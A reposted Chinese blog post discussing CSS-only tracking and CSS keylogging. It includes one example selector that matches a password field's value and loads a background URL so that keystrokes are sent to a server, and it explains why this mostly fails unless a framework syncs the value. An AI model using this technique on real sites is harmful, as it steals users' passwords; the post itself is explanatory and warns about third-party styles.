CSS选择器引起的一些思考

今天在看技术博客的时候发现这个帖子,感觉挺有趣的,于是就去挖了一下,问题已经是老问题,但是还是有很多值得注意和学习的地方。

《CSS选择器引起的一些思考》

原文帖是 仅用CSS实现网页追踪分析,主要讲的是通过CSS来记录用户的交互操作和获取一些基本信息。我的第一感觉就是可以用来做推荐系统的用户交互记录,通过这种方式能够记录用户鼠标在哪些元素上悬停的时间,以及点击的操作,等等。

浏览器熏染HTML文件是从上而下渲染的(需要加载完.css文件之后才会继续向下渲染),要是加入许多这些追踪用户样式的代码可能会影响页面的加载效率,但是要是有目的性的去使用这些功能,或许就比较值得了,比如说记录用户的按键输入。

随着这个思路,我自己尝试了一下构造CSS选择器去匹配用户的输入,CSS选择器语法参考,另外在Google的帮助下也找到了用来获取按键输入的CSS脚本,其实想法都差不多,脚本传送门-搜到的版本 CSS-Keylogging

主要思路是通过类似input[type="password"][value$="x"]{ background-image: url("http://localhost:3000/x"); }的方式来进行获取按键,意思就是input标签的type值为passwordinput中将valuex结尾的背景设置为url所指向的背景,但其实这个url不是图片背景而是一个指向传送按键信息的链接。之后你懂得通过服务端获取url中的path就能取到值了。然后对每个按键到设置一个CSS脚本即可。

但其实这种方式我尝试了很多次没有成功,浏览器不会主动将input中输入的值存在value中,所以CSS匹配的一直是初始化状态下的value属性值,只有那些将value同步的框架才可能引发这些危害。

但是有一点可以确认,可以通过css中地url发送get请求。这让我想到jsonp的原理,通过像构造类似script标签中地src属性的方式来解决跨域问题,要是不注意第三方库,很可能也存在这种恶意脚本的加载。

    原文作者:我的孙女叫小芳
    原文地址: https://segmentfault.com/a/1190000016283711
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞